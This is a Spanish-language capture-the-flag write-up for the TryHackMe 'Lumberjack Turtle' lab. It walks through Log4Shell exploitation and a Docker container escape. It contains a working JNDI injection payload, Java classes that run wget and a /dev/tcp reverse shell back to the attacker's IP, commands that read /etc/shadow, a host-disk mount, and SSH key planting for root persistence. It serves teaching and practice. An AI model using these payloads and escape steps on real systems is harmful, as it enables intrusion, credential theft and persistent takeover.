TryHackMe - Lumberjack Turtle
Creado
Entorno Linux nivel medio. Conoceremos la vulnerabilidad Log4Shell y jugaremos con nuestras capacidades para escapar de un contenedor Docker.

💥 Laboratorio creado por SilverStr.
TL;DR (Spanish writeup)
Escapando sin dejar logs.
Encontraremos un sitio web, en él iremos descubriendo que internamente se está usando la librería log4j, la cual es vulnerable al ataque Log4Shell, aprovecharemos esta brecha para obtener una sesión en un contenedor como el usuario root.
Veremos que como parte de su configuración, el contenedor activó algunas capabilities, exploraremos 3 de ellas para entender el cómo podemos escapar del contenedor y llegar a la máquina host siendo el usuario root.
…
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?
Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3
…
I’m fine,
…
Reconocimiento #
Inicialmente, vamos a descubrir que puertos (servicios) tiene activos el entorno al que vamos a atacar, nos apoyaremos de nmap para ello:
nmap -p- --open -v 10.48.133.243 -oA tcp-all-thm-lumberjack
| Parámetro | Descripción |
|---|---|
| -p- | Escanea todos los 65535 puertos |
| –open | Devuelve solo los puertos que estén abiertos |
| -v | Permite ver en consola lo que va encontrando |
| -oA | Guarda el output en diferentes formatos, entre ellos uno “grepeable”. Lo usaremos junto a la función extractPorts de S4vitar para copiar los puertos en la clipboard rápidamente |
Con el escaneo obtenemos los siguientes puertos:
| Puerto | Descripción |
|---|---|
| 22 | SSH: Servicio que permite la obtención de una terminal de forma segura |
| 80 | HTTP: Servicio para interactuar con un servidor web |
Usando la función
extractPorts(referenciada antes) podemos tener rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno:
extractPorts tcp-all-thml-lumberjack.gnmap
Con nmap también podemos intentar obtener la versión del software que se está usando en el puerto (servicio) y aprovechando, le indicamos que use algunos de sus scripts por defecto a ver si encuentra al que no tengamos aún:
nmap -sCV -p 22,80 10.48.133.243 -oA tcp-ports-thm-lumberjack
| Parámetro | Descripción |
|---|---|
| -p | Indicamos a que puertos queremos realizar el escaneo |
| -sC | Ejecuta scripts predefinidos contra cada servicio |
| -sV | Intenta extraer la versión del servicio |
Yyy obtenemos cositas:
| Puerto | Servicio | Versión |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 80 | HTTP | Nagios NSCA |
Pocas cosas, pero nos sirve para empezar, a darle!
Enumeración #
Empecemos con el sitio web, al visitarlo vemos:
Servicio web 📌

Un simple mensaje raro y ya. Hace referencia a C y a Java (lenguajes de programación), posiblemente solo sea una forma de hablar, pero tengámoslo en cuenta por si algo.
Si visitamos algo que no exista, nos devuelve:

Buscando en la web sobre ese error, se nos indica que viene de Spring Boot, framework de Java (nuestra referencia anterior) para la creación de webs de forma sencilla.
Bien, lo que conocemos ya es que tiene que ver con Java y Spring Boot, sigamos explorando…
Al realizar un barrido de directorios y archivos sobre el sitio web encontramos la ruta /~logs, si ahora barremos sobre ese directorio nos encuentra la ruta /log4j:
ffuf -c -w /opt/seclists/Discovery/Web-Content/common.txt -u http://10.48.160.23/FUZZ
#---> http://10.48.160.23/~logs
ffuf -c -w /opt/seclists/Discovery/Web-Content/common.txt -u http://10.48.160.23/~logs/FUZZ
#---> http://10.48.160.23/~logs/log4j
Al momento de encontrar la ruta log4j alojada en la web, de una recordé un ataque que fue muy viral y que tiene que ver con Java: Log4Shell.
El sitio nos dio suficientes pistas para direccionarnos a probar ese ataque, así que a investigar.
Explotación #
Log4Shell 📌
“El 9 de diciembre de 2021 se revela al público la vulnerabilidad de ejecución remota de código (RCE) denominada Log4Shell, que afecta a la librería de software de código abierto Log4j, desarrollada en lenguaje Java y mantenida por Apache Software Foundation” ~ incibe.es
“… un servidor es vulnerable siempre que reciba unos datos controlados por el usuario y los pase por la librería Log4j” ~ incibe.es
Ihsss, pues interesante, entendamos un poco de la vuln:
- CVE-2021-44228 (10.0 - Critical)
- Log4Shell: análisis de vulnerabilidades en Log4j
- Log4Shell : JNDI Injection via Attackable Log4J
- Exploiting Log4Shell — How Log4J Applications Were Hacked
Como nos indican las referencias, es una vuln que permite la ejecución de código remotamente, aprovechando la librería Log4j y sus lookups, que són funciones extra para darle dinamismo a los logs (en este caso el lookup teso es JNDI, el cual permite resolver/encontrar/ejecutar objetos Java).
Como atacantes debemos levantar un servidor LDAP, usar las cabeceras del sitio web a ver si alguna pasa por la librería Log4j, invocar el lookup JNDI (${jndi:ldap://attacker.com/wenas}) para resolver un objeto Java que tengamos previamente en nuestro servidor y potencialmente intentar conseguir ejecución remota de comandos.
Nos apoyaremos de esta guía: TRY HACK ME: Write-Up Exploiting Log4j
Log4Shell - construcción de entorno 📌
- Instalación de Java
- Descarga del repo marshalsec
Por si obtienes problemas con maven al skipear tests: stackoverflow.com.
- Levantar servidor LDAP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.188.222/#Exploit
Usamos nuestra IP de atacante. Obtendremos el mensaje de que está en escucha por el puerto 1389.
- Vamos a levantar un servidor web en el puerto 80
sudo python3 -m http.server 80
- Creamos archivo
Exploit.javacon el contenido malicioso a ejecutar
Le diremos que mande una petición web a nuestro puerto 80 buscando el archivo holaa...txt:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("wget http://192.168.188.222/holaaaaaaaaaaaa.txt");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Y lo compilamos para que sirva contra Java 8 (la mayoría de entornos vulnerables a Log4Shell usan Java 8):
javac Exploit.java -source 8 -target 8
- Preparamos nuestra sentencia
JNDIy la inyección
Le diremos que aproveché el lookup JNDI para mediante el esquema LDAP intentar resolver el objeto Java que tenemos (Exploit):
${jndi:ldap://192.168.188.222:1389/Exploit}
Ahora debemos enviar esa línea como parte de alguna cabecera, entre prueba y prueba, al enviar esta petición vemos cositas:
GET / HTTP/1.1
Host: 10.48.160.23
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8${jndi:ldap://192.168.188.222:1389/Exploit}
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Access-Control-Request-Method: 1
Access-Control-Request-Headers: 2
Origin: 3


EPALEEEEEEEEEE, vemos que se intentó la petición hacia el archivo hola...txt, así que tenemos ejecución de comandooooooos!!
¡Log4Shell! 📌
Tomamos una definición de reverse shell contra Java de esta web: https://www.revshells.com/, modificamos el archivo Exploit.java:
public class Exploit {
static {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.188.222/4452 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Guardamos, compilamos, levantamos puerto 4452 (nc -lvp 4452) y volvemos a enviar la peticióóóón:

Yyyyy estamos dentro!!!!!!
Escalada de privilegios #
Docker -> Host 📌
Inicialmente, estamos como el usuario root, pero el tema es que estamos en un contenedor de Docker, necesitamos buscar una manera de llegar al host que está sirviendo ese contenedor…
Podemos apoyarnos de cdk, herramienta que ayuda a obtener información de un contenedor, como permisos, archivos curiosos y potenciales vías de escape (para llegar al host).
Descargamos el release, lo subimos a la máquina víctima y ejecutamos:
./cdk_linux_amd64 evaluate

Encontró 3 capabilities, que son permisos otorgados al contenedor para su interacción interna con procesos, solo que al ser root podemos aprovecharlos para intentar llegar al host:
CAP_DAC_READ_SEARCH
CAP_SYS_MODULE
SYS_ADMIN
Exploremos cada una y el cómo podríamos escapar.
CAP_DAC_READ_SEARCH 📌
- https://github.com/cdk-team/CDK/wiki/Exploit:-cap-dac-read-search
- https://www.geeksforgeeks.org/computer-networks/difference-between-dac-and-mac/
- Guia detallada sobre esta capability y como atacarla
Esta -capacidad- le permite al contenedor leer cualquier archivo del host.
*️⃣ Usando CDK:
Con la propia herramienta cdk podemos usar esta capacidad, por ejemplo, para leer el archivo que contiene usuarios y contraseñas de los usuarios:
./cdk run cap-dac-read-search /etc/shadow

*️⃣ Usando SHOCKER:
Manualmente también podemos leer archivos, nos apoyamos de un script en C llamado shocker, realizamos estos cambios para hacer que el script sea más dinámico y lo compilamos:
cc -Wall -std=c99 -O2 shocker.c -static
Subimos el binario generado y lo ejecutamos:

Con eso bastaría para leer archivos alojados en el host, podemos buscar archivos de configuración, llaves SSH, backups, etc.
CAP_SYS_MODULE 📌
- Exploiting Linux Capabilities: CAP_SYS_MODULE
- LAB: The Basics: CAP_SYS_MODULE
- How I Hacked Play-with-Docker and Remotely Ran Code on the Host
Esta -capacidad- permite interactuar directamente con el kernel del host, lo que significaría modificar/añadir funcionalidades al sistema, o sea, ejecutar código creado por nosotros.
Realizar la configuración del ataque es sencillo, pero al probar en 2 entornos no logré replicarlo, siempre obtuve un error al ejecutar el make.
Sin embargo, en la máquina Monitors de HackTheBox vimos el poder de esta capacidad para escapar y escalar privilegios.
SYS_ADMIN 📌
- Container Escape: All You Need is Cap
- Container breakouts : Abusing SYS_ADMIN capability
- CAP_SYS_ADMIN
Esta -capacidad- da el poder de ser básicamente root en el sistema, ya que se pueden levantar monturas (mount) o modificar temas relacionados con el kernel.
Una montura es muy poderosa y más si necesitamos escapar de un contendor, la podemos imaginar como un portal. Este “portal” nos va a permitir acceder a información en tiempo real de dos sitios distintos.
Por lo tanto, si hacemos una montura del disco dentro del contenedor, estaríamos creando un “portal” para interactuar (ver, crear, modificar y borrar) directamente con los archivos del disco, pero no una copia :o
Si buscamos cuál es el disco del host en el que está montado el contenedor encontramos:

El disco es nvme0n1 y la partición que tiene toda la info (40gb) se llama nvme0n1p1, esta es la que necesitamos y la que vamos a montar:
mkdir /tmp/palmonte
mount /dev/nvme0n1p1 /tmp/palmonte
Al acceder y revisar esa monturaaaaaa:


AYYY, tenemos acceso a todos los archivos del hoooost!!
Shell como root en el host 📌
Podríamos hacer varias cositas, pero juguemos con llaves SSH.
Existe un archivo alojado en la carpeta $HOME/.ssh que le indica al sistema que todas las llaves públicas alojadas en él tienen permiso para acceder como ese usuario sin solicitar contraseña, el usuario es el authorized_keys y es con el que vamos a jugar :P
En nuestra máquina atacante necesitamos generar (si no las tenemos aún) nuestras llaves, tanto la privada como la pública:
ssh-keygen
La llave pública nos quedará alojada en el objeto $HOME/.ssh/*.pub, tomamos su contenido y procedemos a pegarlo en el archivo authorized_keys del usuario víctima (/root/.ssh/authorized_keys):
cd /tmp/palmonte/root/
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEv1dlbQe116kHJsAvu+Bm4DJTCWZB62KGIpxiDFWgAH kali@kali" >> .ssh/authorized_keys
Intentamos iniciar sesión en la máquina víctima como ese usuario (el sistema encontrará que estamos listados en el authorizated_keys de ese usuario, hará un jueguito con esa llave publica cifrando información y espera que podamos descifrarla, si todo está bien, habremos creado una sesión como el usuario root sin tener contraseñas o información de él, únicamente modificando un archivo :P):
ssh root@10.48.144.121

¡epaleeee, somos root en el hoooooOOOooost!
Post-Explotación #
Flags 📌
Hola, Est4ESl@FLaG_THM_As1e$
…
Máquina con una vuln muuuy relevante en su momento, me gustó, ya que no la había probado y en verdad se ve el peligro por el que pasaron algunos logs :P Escapar de los contenedores siempre es divertido, hay que buscar y buscar, pero se puede.
Muchas gracias por pasarte, espero te haya aportado y nos leeremos después, gracias gracias.
A darle duro y a seguir rompiendo de todoooooo!!!!!!
Comments